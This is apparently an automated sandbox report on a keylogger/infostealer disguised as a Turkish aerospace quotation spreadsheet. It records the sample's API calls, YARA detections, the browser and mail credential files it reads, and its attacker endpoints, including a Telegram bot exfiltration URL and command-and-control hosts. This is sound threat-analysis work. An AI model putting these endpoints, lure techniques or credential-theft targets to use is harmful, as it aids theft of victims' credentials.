Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FF7CAF GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00FF7CAF

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FF874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00FF874B

Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FC862B cpuid

0_2_00FC862B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FD4E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00FD4E87

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FE1E06 GetUserNameW,

0_2_00FE1E06

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FD3F3A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00FD3F3A

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Code function: 0_2_00FA49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00FA49A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 2.2.RegSvcs.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe PID: 2216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4780, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 2.2.RegSvcs.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe PID: 2216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4780, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Binary or memory string: WIN_81
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Binary or memory string: WIN_XP
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Binary or memory string: WIN_XPe
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Binary or memory string: WIN_VISTA
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Binary or memory string: WIN_7
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Binary or memory string: WIN_8
Source: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 2.2.RegSvcs.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3940377959.000000000280C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe PID: 2216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4780, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 2.2.RegSvcs.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe PID: 2216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4780, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 2.2.RegSvcs.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe.3670000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe PID: 2216, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4780, type: MEMORYSTR

Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_01016283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_01016283
Source: C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Code function: 0_2_01016747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_01016747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	12 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	121 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	127 System Information Discovery	Distributed Component Object Model	1 Email Collection	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	2 Valid Accounts	LSA Secrets	231 Security Software Discovery	SSH	121 Input Capture	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	3 Clipboard Data	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.67.152	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.130.0	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:767668%0D%0ADate%20and%20Time:%2017/12/2024%20/%2011:29:42%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20767668%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.office.com/	RegSvcs.exe, 00000002.00000002.3940377959.00000000028F4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enH	RegSvcs.exe, 00000002.00000002.3940377959.00000000028B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:767668%0D%0ADate%20a	RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lB	RegSvcs.exe, 00000002.00000002.3940377959.00000000028EF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/H	RegSvcs.exe, 00000002.00000002.3940377959.00000000028E5000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	RegSvcs.exe, 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	RegSvcs.exe, 00000002.00000002.3940377959.00000000028C3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	RegSvcs.exe, 00000002.00000002.3940377959.00000000028BE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	RegSvcs.exe, 00000002.00000002.3940377959.000000000277B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.00000000027C0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	RegSvcs.exe, 00000002.00000002.3940377959.0000000002751000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.00000000027E7000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.00000000027C0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000002.00000002.3940377959.0000000002701000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RegSvcs.exe, 00000002.00000002.3941945198.0000000003721000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe, 00000000.00000002.1492497825.0000000003670000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3938554197.0000000000772000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3940377959.0000000002751000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576047
Start date and time:	2024-12-16 13:36:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe renamed because original name is a hash value
Original Sample Name:	TEKLF STE - TUSA TRK HAVACILIK UZAY SANAY_xlsx.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@3/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 52 Number of non-executed functions: 270
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RegSvcs.exe, PID 4780 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe

Simulations

Behavior and APIs

Time	Type	Description
07:37:09	API Interceptor	10288145x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
